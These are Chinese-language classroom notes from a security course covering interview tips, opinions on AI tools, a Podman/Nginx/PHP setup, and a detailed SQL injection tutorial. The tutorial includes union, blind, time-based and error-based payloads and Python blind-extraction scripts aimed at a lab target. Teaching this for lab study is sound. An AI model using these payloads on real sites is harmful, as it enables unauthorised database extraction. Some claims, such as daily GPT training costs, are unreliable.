第六天笔记

课堂笔记与面试题整理

第一部分:课堂开篇 --- 职业准备与面试指导

1.1 面试准备核心要点

1.1.1 必须准备的两个核心问题

  1. 对所应聘岗位的理解 --- 不能泛泛而谈,要具体说明岗位职责、所需技能、工作内容
  2. 个人优势 --- 要提炼出与岗位高度匹配的3-4个核心优势点

1.1.2 准备态度

  • 不能有侥幸心理:随着被叫到的人增多,剩余人员被抽中的概率会越来越高
  • 准备不充分的后果:可能会被连续抽查多天,直到准备好为止
  • 回答必须脱稿:听起来要像"陈述"而不是"讨论",不能给人"现编"的感觉

1.1.3 面试表达技巧

  • 表达要通俗易懂,但需提炼专业术语,避免过于口语化
  • 要有"语言魅力"和"专业性表述"
  • 可以结合AI生成的答案进行完善,但最终要靠自己的理解和记忆
  • 回答要逻辑连贯、聚焦,不能支离破碎

1.2 安全服务岗位深度解析

1.2.1 岗位核心定位

  • 以攻击者视角发现系统漏洞 --- 这是安全服务的根本出发点
  • 核心是客户交付和问题解决,而不仅仅是内部安全建设

1.2.2 工作内容

  1. 深度测试 --- 对系统进行深入的安全测试
  2. 流量分析 --- 分析网络流量,发现异常行为
  3. 漏洞输出 --- 将发现的漏洞整理成报告输出

1.2.3 岗位特点

  • 不仅是技术活:更需要沟通能力和风险排查思维
  • 要能全方位降低企业信息安全风险
  • 需要主动排查信息系统风险

1.3 个人优势提炼示范

1.3.1 四个核心优势维度

技术能力:

  • 掌握网络基础知识
  • TCP/IP协议栈理解
  • 流量分析能力
  • 熟悉系统访问协议
  • 擅长使用安全工具进行扫描检测

软实力:

  • 细心严谨
  • 爱动脑思考
  • 出色的沟通能力
  • 较强的抗压能力
  • 故障排查耐心

学习能力:

  • 主动学习能力
  • 快速学习新知识
  • 自学能力强

稳定性:

  • 愿意接受出差安排
  • 愿意长期深耕网络领域

1.3.2 在校经历加分项

  • 担任过学生干部
  • 组织过志愿服务活动
  • 专业基础扎实(计算机专业出身)
  • 具备文档撰写能力
  • 有过企业组网实操经验(如参与过中小企业组网)

1.4 克服紧张情绪的方法

1.4.1 紧张的表现

  • 即使内心想放松,身体反应仍会暴露紧张
  • 声音颤抖
  • 思路混乱

1.4.2 解决方法

  1. 反复练习,背到滚瓜烂熟 --- 即使紧张,也能靠肌肉记忆流畅表达
  2. 付出更多努力 --- 容易紧张的人必须比天生社牛的同学付出更多
  3. 完善答案并背诵熟练 --- 避免给人"现编"的感觉

第二部分:AI工具的理解与使用

2.1 AI工具的局限性

2.1.1 核心问题

  • AI并非无所不能 :其回答的准确性完全取决于提问者的提问质量
  • 不应盲目依赖AI,尤其是在面试等正式场合
  • 需清楚地说明自己对AI的理解和使用程度

2.1.2 常见误区

  • 很多人对AI的理解太肤浅
  • 光会跟AI聊天根本不算懂AI
  • 简历写"精通AI",连基础命令都答不上来
  • 把AI当"度娘"用,只做问答不深度使用

2.1.3 AI工具的不可靠性

  • 5道固定答案的消防安全题居然错1道且无法纠正
  • 豆包这类产品作为搜索引擎都不够可靠(连官方网址都可能找不准)
  • 输出结果有时根本不是想要的内容

2.2 AI工具的正确使用方法

2.2.1 深入理解底层机制

  • 掌握提示词工程(Prompt Engineering) --- 这是使用AI的核心技能
  • 理解AI的底层运作逻辑
  • 避免停留在简单的对话层面

2.2.2 Codex命令行的智能执行功能

  • 目标导向(target):设定目标后,系统会全程围绕目标执行,一旦偏离立即纠正
  • 免打扰模式:可以授予最大权限自动执行,直到预设的约束点才暂停
  • 断点续传:意外关机重启后,能通过临时数据库恢复执行进度
  • 相当于在命令行内置了一个轻量级自动化管控系统

2.2.3 AI赋能工作

  • 技术人员要深入思考如何让AI真正为工作赋能
  • 而不仅仅是把它当问答工具
  • 真正厉害的岗位不会被AI替代
  • 重点在于是否真正理解工具底层逻辑,而非跟风标榜

2.3 AI工具对比分析

工具 特点 使用建议
ChatGPT 比Claude更开放好用 首选,但需注意访问限制
Claude 老板是鹰派,限制中国人使用 可用但限制较多
GLM 供货情况稳定 优先选择
Kimi 有时买不到 作为备选
DeepSeek 暑假涨价,价格翻倍 性价比尚可,比同类良心
Codex 命令行智能执行 适合开发自动化任务

2.3.1 付费机制

  • 99元/月的套餐看似额度少
  • 共享使用的特性让性价比更高(类似多人合租ChatGPT账号)
  • 付费套餐的实际价值需从使用时长和共享可能性来评估

2.3.2 警惕问题

  • 虚假宣传:可能挂着DeepSeek的名号实际提供的是Codex的服务
  • URL和参数必须绝对准确,差一点AI就无法正确响应
  • 提示词和输入参数的精确度直接决定输出质量(就像钥匙开锁,差一毫米都打不开)

2.4 AI学习路径与资源

2.4.1 推荐学习资源

国外平台(需VPN):

  • YouTube:关注技术博主和AI前沿内容
  • Twitter/X (马斯克的社交平台):关注OpenAI等公司的研发工程师和创始人
    • 他们常会在社交媒体分享最新技术动态
  • 吴恩达教授的英文AI入门课

国内平台:

  • B站:有大量前沿技术内容,AI应用、Codex等工具都有详细解析
  • 有些技术大牛会同步更新国外内容

2.4.2 学习方法

  • 关注技术博主:他们对技术敏感度更高,能持续分享最新动态
  • 像刷短视频一样获取技术资讯
  • 关键是要主动保持对技术趋势的关注
  • 学习英文技术视频虽然有语言障碍,但有字幕辅助理解问题不大

2.5 AI与求职面试

2.5.1 面试中的AI问题

  • 面试时别盲目标榜AI能力
  • 除非能真正解释清楚这些技术是什么、怎么用
  • 某公司面试售后技术支持工程师时,特别看重AI工具的应用能力
  • 有个学生技术基础不错,但最终没通过面试:
    • 原因:只会用AI解答问题,不会在工作中灵活运用

2.5.2 AI时代的开发变革

  • 现代开发流程已发生巨大变化
  • 以前需要10-20人团队耗时一个月的开发任务
  • 现在掌握Web Coding的个人可能一周就能完成
  • 不过前期需求定义等关键环节仍需要人工把控

2.5.3 对运维方向的影响

  • AI正在深度改变运维领域
  • 对AI工具的需求比想象中更迫切
  • 比如AI命令工具虽已存在一段时间,但仍存在需要频繁确认权限、容易执行跑偏等问题

2.6 算力成本与行业趋势

2.6.1 算力成本飙升

  • 以前跑AI模型几个小时只要几块钱,现在价格暴涨
  • GPT-4训练每天烧1亿美金
  • 到5.0版本直接涨到10亿美金/天
  • 算力资源极度紧张
  • 本质是算力军备竞赛

2.6.2 消费电子涨价

  • 苹果手机价格不降反升(涨幅500-1000元)
  • 华强北耳机在参数上能对标苹果,但用户体验仍有差距
  • 核心技术壁垒依然存在

第三部分:环境搭建 --- Podman/Docker + Nginx + MariaDB + PHP

3.1 一键安装脚本

3.1.1 脚本功能

  • 自动检查并安装Podman容器工具
  • 自动安装Nginx服务器
  • 简化流程,避免手动配置出错

3.1.2 常见问题

  • 之前用apt安装过Nginx可能导致冲突
  • 重启后服务无法访问的问题很可能来源于版本兼容性问题
  • 版本适配问题:去年使用的2323版本存在不适配问题
  • 建议先明确环境配置差异,再针对性解决

3.2 MariaDB数据库连接配置

3.2.1 安装后检查要点

  1. 检查MariaDB是否成功安装
  2. 获取数据库连接信息(数据库名和密码)
  3. PHP应用需要这些信息来连接数据库
  4. 需要手动输入数据库名和密码

3.2.2 容器与数据库连接

  • 由于容器具有隔离性,必须专门配置才能建立连接
  • 9056端口是关键连接端口
  • 注意:该端口只有在容器启动时才会处于监听状态

3.2.3 端口排查技巧

  • 先用 ss -antlp | grep 80 检查80端口是否正常
  • 如果没启动,需要到 /usr/local/Nginx/sbin/ 路径下运行
  • 同样要检查9000端口(PHP-FPM监听端口)
  • 原本计划用PHP 8.5但安装失败,最后改用容器镜像安装PHP 5.6版本

3.3 容器问题排查流程

3.3.1 排查步骤

第一步:检查容器运行状态

bash 复制代码
podman ps
  • 如果容器没运行,自然无法访问服务

第二步:检查配置文件

  • Nginx配置文件:/usr/local/nginx/conf/nginx.conf
  • 这里配置的端口(如9056)必须和实际运行的服务端口一致

第三步:确认端口监听状态

bash 复制代码
ss -antlp | grep 9050

第四步:重启容器

bash 复制代码
podman start [容器ID]

第五步:再次验证

  • 再次用 podman ps 验证容器状态
  • 看到"running"才表示服务真正跑起来了

3.3.2 核心验证思路

  • 结果导向的验证思路:重启服务后检查端口是否开启是最直接的验证方式
  • 边操作边验证:每次操作后都用status/ps命令确认状态
  • 遇到问题要先自查文档或系统课程,碎片化学习效果有限

3.4 systemd服务文件配置

3.4.1 基本原理

  • systemctl enable 能管理服务的前提是该服务有对应的 .service 文件
  • 当前的容器并不具备这个条件
  • 当标准方法不适用时,需要寻找替代方案

3.4.2 生成service文件

生成命令:

bash 复制代码
podman generate systemd --name [容器名] --files --new

注意:

  • 参数容易记混,需要查证
  • 类似命令能自动生成配置文件
  • 实际命令可能存在记忆偏差,使用时建议查阅官方文档确认

3.4.3 文件移动与配置

步骤:

  1. 生成的 .service 文件默认在当前目录
  2. 必须手动移动到指定目录
  3. 推荐路径:~/.config/systemd/user/
  4. 具体路径结构:在config目录下创建systemd文件夹,再在其中建立users子目录

3.4.4 启动与管理

bash 复制代码
# 移动文件到指定目录
mv content-php56-fpm.service ~/.config/systemd/user/

# 启动服务
systemctl --user start content-php56-fpm.service

# 检查服务状态
systemctl --user status content-php56-fpm.service

# 设置开机自启
systemctl --user enable content-php56-fpm.service

3.4.5 重要提醒

  • 容器技术(Podman/Docker)是运维和安全的必备技能
  • 建议利用暑假提前练习
  • 无论选择安全还是运维方向,容器技术都有帮助
  • 如果担心影响现有容器,可以先删除旧容器测试新服务是否能正常启动

3.5 PHP-FPM服务详解

3.5.1 配置要点

  • PHP-FPM的service文件:content-php56-fpm.service
  • 默认生成在当前目录
  • 必须手动移动到系统目录下才会被识别

3.5.2 版本说明

  • 原本计划用PHP 8.5但安装失败
  • 最后改用容器镜像安装了PHP 5.6版本

3.6 Docker与Podman关系

对比项 Docker Podman
本质 容器管理工具 容器管理工具
命令 docker podman
守护进程 需要dockerd 不需要(daemonless)
安全性 标准 更安全(rootless)
兼容性 广泛 兼容Docker命令

学习建议: 两者本质相同,只是命令不同。建议系统学习相关课程而非零散看视频。


第四部分:SQL注入(SQL Injection)核心知识

4.1 SQL注入原理

4.1.1 根本原因

  • 服务端通过GET等方式获取用户输入参数后
  • 直接拼接到SQL查询语句中
  • 用户输入的参数未经任何处理或过滤

4.1.2 漏洞形成示例

正常查询:

sql 复制代码
SELECT data FROM table WHERE uid=12

此时只返回uid=12的用户数据

恶意构造:

复制代码
用户输入: 12 OR 1=1
拼接后: SELECT data FROM table WHERE uid=12 OR 1=1

因为 1=1 永远为真,导致整个WHERE条件失效,数据库返回所有用户数据

4.1.3 HTTPS请求调试工具

  • HackBar插件:方便修改URL传参
  • Burp Suite抓包工具:拦截和修改请求数据包,比反复修改URL更高效

4.2 SQL注入通用步骤(四步法)

4.2.1 第一步:判断输入类型

数字型注入:

  • 用户输入直接拼接到SQL语句中
  • 不需要引号闭合
  • 例:WHERE id=1 OR 1=1 --- "1 OR 1=1"作为SQL逻辑执行

字符型注入:

  • 用户输入被放在引号内
  • 需要手动闭合引号
  • 例:WHERE id='1' OR 1=1' --- 需要平衡引号数量,否则语法错误

测试方法: 构造 and 1=2

sql 复制代码
-- 数字型测试
SELECT * FROM users WHERE id=1 AND 1=2  -- 条件为假,无结果返回

-- 字符型测试
SELECT * FROM users WHERE id='1 AND 1=2'  -- 被当作文本,不受影响

判断标准:

  • and 1=2 生效(查询无结果) → 数字型
  • and 1=2 无影响(查询结果不变) → 字符型

其他方法:

  • -- 注释符测试
  • 但更推荐用 and 逻辑判断法,因为数字型注入时注释符可能不生效

4.2.2 第二步:确定闭合符

闭合符类型(不固定):

  • 单引号 '
  • 双引号 "
  • 小括号 )
  • 混合闭合:双引号+小括号 ")
  • 单引号+小括号 ')

测试方法:

  1. 输入 1' 看是否报错 → 说明可能与单引号相关
  2. 输入 1" 看是否报错 → 说明可能与双引号相关
  3. 通过报错信息反推闭合符类型
  4. 查看源代码验证拼接方式

字符型注入必须注意:

  • 必须找到正确的闭合方式才能成功
  • 引号内的内容会被当作整体处理
  • 引号外则会被解析为SQL语法
  • 关键是要平衡引号数量,让注入语句能正确闭合

4.2.3 第三步:判断列数

使用ORDER BY:

sql 复制代码
ORDER BY 1  -- 正常(至少有1列)
ORDER BY 2  -- 正常(至少有2列)
ORDER BY 3  -- 正常(至少有3列)
ORDER BY 4  -- 报错 → 说明只有3列!

原理:

  • 数据库会按照指定的列号排序
  • 如果列号超出实际列数,就会报错
  • 即使查询结果为空,只要不报错就说明该列存在

其他方法:

  • GROUP BY 也可以用来判断列数
  • GROUP BY n 如果超出列数也会报错

4.2.4 第四步:定位回显位置

原理:

  • 虽然查询返回了多列数据,但可能只有部分列会显示在网页上
  • 需要确定哪些列是有回显的

测试方法:

sql 复制代码
-- 先让原查询不返回结果(如构造一个查不到的ID)
id = -1
-- 或者使用 AND 1=2

-- 然后用UNION SELECT构造占位符
UNION SELECT 1,2,3

观察结果:

  • 如果页面上显示 23,说明第2列和第3列是回显位置
  • 后续的注入语句就要放在这些能显示出来的列位置上

为什么先让原查询无结果?

  • 因为UNION会追加结果
  • 如果原查询有结果,会同时显示原结果和构造结果
  • 让原查询无结果后,系统只显示我们构造的数据,更容易判断

4.3 UNION联合查询注入

4.3.1 核心规则

  • UNION前后查询的列数必须一致
  • 数据类型也要匹配

错误示例:

sql 复制代码
-- users表有3列,emails表有2列
SELECT * FROM users UNION SELECT * FROM emails  -- 报错!列数不一致

正确对齐:

sql 复制代码
SELECT id, name, email FROM users
UNION
SELECT id, email, NULL FROM emails  -- 补NULL对齐列数

4.3.2 回显利用

判断回显位置:

sql 复制代码
id=-1 UNION SELECT 1,2,3
  • 观察数字123在页面上的显示位置
  • 确定哪些列是有效回显点

利用回显获取数据:

sql 复制代码
id=-1 UNION SELECT 1,2,database()  -- 在第3列获取数据库名
id=-1 UNION SELECT 1,2,version()   -- 在第3列获取版本号

4.3.3 注意事项

  • UNION SELECT 1,2,3 中间的列号数量必须与原查询列数一致
  • 报错信息会和数据库测试时看到的一致,这是重要的判断依据

4.4 布尔盲注(Boolean Blind Injection)

4.4.1 适用场景

  • 注入点无直接数据回显
  • 前端页面只返回 真(true)/假(false) 两种状态
  • 无法看到具体数据内容

4.4.2 基本原理

通过构造条件判断语句,根据页面返回的真假状态来推测数据库信息。

判断数据库名长度:

sql 复制代码
-- 判断数据库名长度是否等于8
id=1 AND LENGTH(database())=8
-- 页面正常 → 长度为8
-- 页面异常 → 长度不为8

id=1 AND LENGTH(database())=7
-- 页面异常 → 长度不为7(结合上面可确定长度为8)

逐个字符猜测:

sql 复制代码
-- 截取第一个字符,判断ASCII码
id=1 AND ASCII(SUBSTRING(database(),1,1))>80
-- 页面正常 → ASCII > 80
-- 页面异常 → ASCII ≤ 80

4.4.3 二分法优化

直接比较字符效率太低 (挨个试a-z共26次),更聪明的方法是用ASCII码值配合二分法

示例过程:

复制代码
目标:猜出数据库名的第一个字符

第1次:ASCII > 80? → 是(范围缩小到81-255)
第2次:ASCII < 100? → 是(范围缩小到81-99)
第3次:ASCII < 90? → 否(范围缩小到90-99)
第4次:ASCII < 95? → 否(范围缩小到95-99)
第5次:ASCII = 97? → 是!→ 对应字符 'a'

优势:

  • 每次将可能范围砍掉一半
  • 26个字母最多5次即可确定(log₂26 ≈ 5)
  • 比逐个尝试高效得多

4.4.4 Python自动化脚本

核心逻辑:

python 复制代码
import requests

url = "http://target.com/vulnerable.php"
result = ""

for position in range(1, 9):  # 假设长度为8
    low, high = 32, 127
    while low < high:
        mid = (low + high) // 2
        payload = f"1' AND ASCII(SUBSTRING((SELECT database()),{position},1))>{mid}--+"
        params = {"id": payload}
        response = requests.get(url, params=params)
        
        if "正常标识" in response.text:
            low = mid + 1
        else:
            high = mid
    
    result += chr(low)
    print(f"第{position}位: {chr(low)}")

调试要点:

  • 需要安装 requests 模块(pip install requests
  • URL必须精确(大小写敏感)
  • 观察返回值的真假判断来验证脚本的正确性
  • 检查返回页面代码中是否包含特定字符来判断请求是否成功

4.5 时间盲注(Time-based Blind Injection)

4.5.1 基本原理

利用 if() 函数配合 sleep() 函数,通过响应时间差异来判断条件是否成立。

函数语法:

sql 复制代码
IF(condition, value_if_true, value_if_false)

核心构造:

sql 复制代码
SELECT * FROM users WHERE id=1 AND IF(1>2, SLEEP(3), 1)
  • 如果 1>2 成立(永远不成立),服务器休眠3秒
  • 如果 1>2 不成立,立即返回结果

4.5.2 应用示例

判断数据库名长度:

sql 复制代码
id=1 AND IF(LENGTH(database())=8, SLEEP(3), 1)
-- 响应延迟3秒 → 长度为8
-- 立即响应 → 长度不为8

判断字符:

sql 复制代码
id=1 AND IF(ASCII(SUBSTRING(database(),1,1))>80, SLEEP(3), 1)
-- 延迟3秒 → ASCII > 80
-- 立即响应 → ASCII ≤ 80

4.5.3 特点总结

  • 不需要知道具体列数,直接通过if条件判断
  • 时间延迟是判断依据:执行了SLEEP(3)证明条件为真
  • 逐步缩小范围:先判断>5,再判断<10,最终确定精确值
  • 就像用"是/否"问题慢慢试探保险箱密码

4.6 报错注入(Error-based Injection)

4.6.1 基本原理

通过特定函数触发数据库报错,在报错信息中泄露敏感数据

4.6.2 核心函数

extractvalue()函数:

sql 复制代码
EXTRACTVALUE(xml_fragment, xpath_expression)
  • 从XML数据片段中提取值
  • 按照XPath路径表达式定位
  • 如果XPath表达式错误,会触发报错并泄露信息

updatexml()函数:

sql 复制代码
UPDATEXML(xml_target, xpath_expr, new_xml)
  • 更新XML文档中的内容
  • XPath表达式错误同样会触发报错

4.6.3 利用技巧

标准payload构造:

sql 复制代码
-- 用波浪线~触发报错,在报错中泄露数据库名
AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE())))

-- 获取表名
AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())))

-- 获取列名
AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users')))

特殊符号选择:

  • 波浪线 ~ (十六进制 0x7e):最稳定,推荐使用
  • 星号 *:可能受URL编码影响
  • @ 符:能直接成功,但保险起见仍推荐波浪线
  • 避免使用 &&:在URL中有特殊含义(参数分隔符),会导致解析错误

注意事项:

  • URL有特殊限制,某些符号可能被编码或拦截
  • 报错前系统会先执行有效语句,报错信息会泄露执行结果
  • 主动制造报错条件,让系统在报错时把敏感信息带出来

第五部分:SQL查询技巧与函数详解

5.1 GROUP BY 分组

5.1.1 基本用法

sql 复制代码
-- 按顾客列分组,把同一顾客的所有订单归在一起
SELECT customer, SUM(amount) FROM orders GROUP BY customer

-- GROUP BY 1 表示按第一列分组
SELECT customer, amount FROM orders GROUP BY 1

5.1.2 关键规则

  • 分组后必须配合聚合函数 (如 SUM()COUNT()AVG()
  • 如果不使用聚合函数,只会显示分组后的第一条数据
  • GROUP BY n 中 n 超出列数会像 ORDER BY 一样报错

5.1.3 常用聚合函数

函数 作用 示例
SUM() 求和 SUM(price)
COUNT() 计数 COUNT(*)
AVG() 求平均 AVG(score)
MAX() 求最大值 MAX(price)
MIN() 求最小值 MIN(price)

5.1.4 完整示例

sql 复制代码
-- 建表
CREATE TABLE orders (
    order_id INT,
    customer VARCHAR(50),
    price DECIMAL(10,2)
);

-- 插入数据
INSERT INTO orders VALUES (1, '张三', 100), (2, '张三', 200), (3, '李四', 150);

-- 分组查询每个客户的总消费
SELECT customer, SUM(price) FROM orders GROUP BY customer;
-- 结果:
-- 张三 | 300
-- 李四 | 150

5.2 ORDER BY 排序

5.2.1 基本用法

sql 复制代码
SELECT * FROM users ORDER BY 1  -- 按第一列排序
SELECT * FROM users ORDER BY 3  -- 按第三列排序

5.2.2 在注入中的应用

  • ORDER BY是判断列数的最佳工具
  • 通过不断尝试不同的列号来测试
  • ORDER BY 4 报错 → 说明没有第4列
  • ORDER BY 3 正常 → 说明至少有3列

5.3 LIMIT 限制输出

5.3.1 两种用法

单参数用法:

sql 复制代码
LIMIT 2  -- 只返回前2行数据

双参数用法:

sql 复制代码
LIMIT 1,2  -- 从第2行开始(行号从0计数),返回2行数据

重要: 双参数的第二位是返回的行数,不是截止行号!

5.3.2 分页查询示例

sql 复制代码
-- 假设数据库有10条数据
SELECT * FROM users LIMIT 0,3  -- 返回第1、2、3条(第1页)
SELECT * FROM users LIMIT 3,3  -- 返回第4、5、6条(第2页)
SELECT * FROM users LIMIT 6,3  -- 返回第7、8、9条(第3页)
SELECT * FROM users LIMIT 9,3  -- 返回第10条(第4页)

5.4 CONCAT 与 GROUP_CONCAT

5.4.1 CONCAT --- 字段拼接

sql 复制代码
-- 将用户名和密码拼接在一列显示
SELECT CONCAT(username, ':', password) FROM users
-- 结果:
-- admin:123456
-- user1:pass123

5.4.2 GROUP_CONCAT --- 多行合并

sql 复制代码
-- 将所有用户名合并成一行,用逗号分隔
SELECT GROUP_CONCAT(username) FROM users
-- 结果:
-- admin,user1,user2,user3

-- 自定义分隔符
SELECT GROUP_CONCAT(username SEPARATOR '|') FROM users
-- 结果:
-- admin|user1|user2|user3

-- 同时拼接多个字段
SELECT GROUP_CONCAT(username, ':', password SEPARATOR '; ') FROM users
-- 结果:
-- admin:123456; user1:pass123; user2:abc789

区别总结:

函数 输入 输出 适用场景
CONCAT 多个列/值 单行拼接结果 同一行的字段拼接
GROUP_CONCAT 多行数据 一行合并结果 多行合并为一行显示

5.5 LIKE 模糊匹配

5.5.1 通配符

  • %:匹配任意数量的字符(包括0个)
  • _:匹配单个字符

5.5.2 示例

sql 复制代码
-- 名字以"张"开头
SELECT * FROM users WHERE username LIKE '张%'

-- 名字包含"张"
SELECT * FROM users WHERE username LIKE '%张%'

-- 名字第二个字是"三"
SELECT * FROM users WHERE username LIKE '_三%'

5.6 字符串处理函数

5.6.1 LENGTH() --- 计算字符串长度

sql 复制代码
SELECT LENGTH('hello')  -- 返回 5
SELECT LENGTH(DATABASE())  -- 返回当前数据库名的长度

5.6.2 ASCII() --- 获取ASCII码

sql 复制代码
SELECT ASCII('A')  -- 返回 65
SELECT ASCII('a')  -- 返回 97

5.6.3 SUBSTRING() --- 字符串截取

sql 复制代码
-- SUBSTRING(str, pos, len)
SELECT SUBSTRING('database', 1, 3)  -- 返回 'dat'
SELECT SUBSTRING('database', 4, 4)  -- 返回 'base'

-- 函数名大小写不敏感
SUBSTRING / SUBSTR / SUBSTR  -- 都可以使用

实用场景: 处理超长字符串的显示问题,分段截取展示。

5.7 数据库信息查询

5.7.1 查看数据库信息

sql 复制代码
-- 查看当前使用的数据库
SELECT DATABASE()

-- 显示所有数据库
SHOW DATABASES

-- 查看数据库版本
SELECT VERSION()

5.7.2 进入数据库

sql 复制代码
USE database_name
-- 或在查询时加前缀
SELECT * FROM database_name.table_name

5.8 information_schema系统库

5.8.1 概述

information_schema 是MySQL的系统数据库,存储了所有数据库的元数据信息(表结构、列信息等)。

5.8.2 查询表名

查看所有表:

sql 复制代码
SELECT * FROM information_schema.tables

数据太多会显得杂乱,建议精简化。

精简查询:

sql 复制代码
SELECT table_name FROM information_schema.tables

查询特定数据库的表:

sql 复制代码
SELECT table_name FROM information_schema.tables WHERE table_schema='security'

合并显示:

sql 复制代码
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'

注意: 如果当前数据库和information_schema不同,查询要带库名前缀:

sql 复制代码
SELECT table_name FROM information_schema.tables  -- 正确

5.8.3 查询列名

查询特定表的列名:

sql 复制代码
SELECT column_name FROM information_schema.columns
WHERE table_schema='security' AND table_name='users'

关键字段说明:

  • TABLE_SCHEMA:数据库名
  • TABLE_NAME:数据表名
  • COLUMN_NAME:列名

5.8.4 注意事项

  • column 这个单词容易拼错
  • 查询结果可能看起来杂乱,专注查找 COLUMNS 表中的信息
  • 也可以使用图形化工具查看表结构(更直观)

第六部分:Python自动化脚本 --- 盲注

6.1 布尔盲注自动化

6.1.1 核心思路

使用Python脚本自动发送请求,通过二分查找法快速推断每个字符的ASCII码值。

6.1.2 完整脚本示例

python 复制代码
import requests

# 目标配置
url = "http://192.168.50.1/sqli/lesson1.php"
success_indicator = "正常页面包含的特定字符串"  # 根据实际页面调整

def check_condition(payload):
    """发送请求并判断条件是否成立"""
    params = {"id": payload}
    try:
        r = requests.get(url, params=params, timeout=5)
        return success_indicator in r.text
    except:
        return False

def get_length():
    """二分法获取数据库名长度"""
    low, high = 1, 32
    while low < high:
        mid = (low + high) // 2
        payload = f"1' AND LENGTH(DATABASE())>{mid}--+"
        if check_condition(payload):
            low = mid + 1
        else:
            high = mid
    return low

def get_database_name(length):
    """逐个字符获取数据库名"""
    db_name = ""
    for pos in range(1, length + 1):
        low, high = 32, 127
        while low < high:
            mid = (low + high) // 2
            payload = f"1' AND ASCII(SUBSTRING(DATABASE(),{pos},1))>{mid}--+"
            if check_condition(payload):
                low = mid + 1
            else:
                high = mid
        db_name += chr(low)
        print(f"[+] 第{pos}位: {chr(low)} → 当前: {db_name}")
    return db_name

# 执行
print("[*] 开始获取数据库名长度...")
length = get_length()
print(f"[+] 数据库名长度: {length}")

print("[*] 开始获取数据库名...")
db_name = get_database_name(length)
print(f"[+] 数据库名: {db_name}")

6.1.3 调试常见问题

问题 原因 解决方法
requests模块不存在 未安装 pip install requests
连接目标地址报错 IP地址写错 仔细检查URL(如192写成129)
返回值判断不准 success_indicator设置错误 观察正常/异常页面的差异
脚本报错无响应 参数格式不对 检查payload中的引号和注释符

6.1.4 响应验证逻辑

python 复制代码
# 方法1:检查页面是否包含特定字符串
"正常" in response.text

# 方法2:检查页面长度
len(response.text) > 100

# 方法3:检查是否包含错误信息
"error" not in response.text.lower()

# 方法4:检查特定HTML元素
"Welcome" in response.text

6.2 时间盲注自动化

6.2.1 核心思路

通过测量响应时间来判断条件是否成立。

python 复制代码
import requests
import time

def time_based_check(payload, timeout=5):
    """时间盲注检查"""
    start = time.time()
    try:
        r = requests.get(url, params={"id": payload}, timeout=timeout)
        elapsed = time.time() - start
        return elapsed > 3  # 如果响应时间超过3秒,说明触发了SLEEP
    except:
        return False

# 判断数据库名长度
payload = "1' AND IF(LENGTH(DATABASE())=8, SLEEP(3), 1)--+"
if time_based_check(payload):
    print("[+] 数据库名长度为8")

6.2.2 注意事项

  • 网络延迟可能影响判断准确性
  • 建议设置合理的超时阈值
  • 多测几次取平均值更可靠

附录:SQL注入速查表

判断步骤

复制代码
输入点(如 ?id=1)
    │
    ├─ 判断类型
    │   ├─ and 1=2 → 无结果 → 数字型
    │   └─ and 1=2 → 无变化 → 字符型 → 找闭合符
    │
    ├─ 判断列数
    │   └─ ORDER BY n → 报错则列数为 n-1
    │
    ├─ 定位回显
    │   └─ UNION SELECT 1,2,3 → 看哪些数字显示在页面
    │
    └─ 获取数据
        ├─ UNION SELECT 1,2,database()
        ├─ UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()
        └─ UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'

常用Payload

sql 复制代码
-- 数字型注入
1 OR 1=1
1 AND 1=2
1 ORDER BY 3
-1 UNION SELECT 1,2,3

-- 字符型注入(假设闭合符为')
1' AND '1'='1
1' AND '1'='2
1' ORDER BY 3--+
-1' UNION SELECT 1,2,3--+

-- 布尔盲注
1' AND LENGTH(DATABASE())=8--+
1' AND ASCII(SUBSTRING(DATABASE(),1,1))>80--+

-- 时间盲注
1' AND IF(LENGTH(DATABASE())=8, SLEEP(3), 1)--+

-- 报错注入
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE())))--+
1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT DATABASE())), 1)--+

常用函数

函数 用途
DATABASE() 获取当前数据库名
VERSION() 获取数据库版本
USER() 获取当前用户
LENGTH() 计算字符串长度
ASCII() 获取字符ASCII码
SUBSTRING() 截取字符串
CONCAT() 拼接字符串
GROUP_CONCAT() 多行合并为一行
SLEEP() 休眠指定秒数
IF() 条件判断

面试题集锦(含详细参考答案)

以下面试题基于课堂内容整理,涵盖AI工具、SQL注入、环境运维、职业发展四大方向,每题均附有完整的参考答案和扩展说明。


一、AI工具与AI应用类(共8题)


面试题1:请谈谈你对AI工具的理解,以及在实际工作中如何正确使用AI?

考察点: 对AI本质的认知深度、使用AI的方法论

参考答案:

(1)AI的核心局限

  • AI并非无所不能,其回答的准确性完全取决于提问者的提问质量(即提示词工程的水平)
  • 不应盲目依赖AI,尤其是在面试等正式场合
  • 需清楚地说明自己对AI的理解和使用程度,不能夸夸其谈

(2)正确使用方法

  • 深入理解AI的底层运作机制,掌握提示词工程(Prompt Engineering)
  • 避免停留在简单的对话层面,要让AI真正为工作赋能
  • 技术人员不能只把AI当"度娘"用------只会问答而不深度使用

(3)Codex命令行的智能执行三大特性

  • 目标导向:设定目标后全程围绕目标执行,一旦偏离立即纠正
  • 免打扰模式:授予最大权限自动执行,到预设约束点才暂停
  • 断点续传:意外关机重启后,能通过临时数据库恢复执行进度

(4)面试中的AI问题

  • 面试时别盲目标榜"精通AI",除非能真正解释清楚技术是什么
  • 有些公司面试时特别看重AI工具的应用能力(如江苏聚合软件的售后技术支持工程师岗位)
  • 只会用AI解答问题,不会在工作中灵活运用,技术再好也可能被刷

(5)总结

真正厉害的岗位不会被AI替代,关键是要学会让AI成为提升效率的工具,而不是简单的问题查询器。


面试题2:AI对网络安全行业有什么具体影响?

考察点: 行业趋势洞察、AI与安全结合的理解

参考答案:

(1)对安全运维的变革

  • AI正在深度改变运维和安全领域
  • 对AI工具的需求比想象中更迫切
  • AI命令工具虽已存在一段时间,但仍存在需频繁确认权限、容易执行跑偏等问题

(2)开发效率的质变

  • 以前需要10-20人团队耗时一个月的开发任务
  • 现在掌握Web Coding的个人可能一周就能完成
  • 不过前期需求定义等关键环节仍需要人工把控

(3)安全专业方向

大三学生:

